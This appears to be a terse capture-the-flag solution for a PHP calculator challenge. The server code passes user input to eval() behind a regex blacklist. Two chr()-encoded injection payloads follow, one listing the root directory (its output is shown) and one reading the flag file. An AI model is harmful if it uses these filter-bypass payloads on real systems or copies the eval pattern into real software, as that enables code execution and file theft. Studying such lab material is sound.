<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
?%20num=var_dump(scandir(chr(47)))
array(24) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) ".dockerenv"
[3]=>
string(3) "bin"
[4]=>
string(4) "boot"
[5]=>
string(3) "dev"
[6]=>
string(3) "etc"
[7]=>
string(5) "f1agg"
[8]=>
string(4) "home"
[9]=>
string(3) "lib"
[10]=>
string(5) "lib64"
[11]=>
string(5) "media"
[12]=>
string(3) "mnt"
[13]=>
string(3) "opt"
[14]=>
string(4) "proc"
[15]=>
string(4) "root"
[16]=>
string(3) "run"
[17]=>
string(4) "sbin"
[18]=>
string(3) "srv"
[19]=>
string(8) "start.sh"
[20]=>
string(3) "sys"
[21]=>
string(3) "tmp"
[22]=>
string(3) "usr"
[23]=>
string(3) "var"
}
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))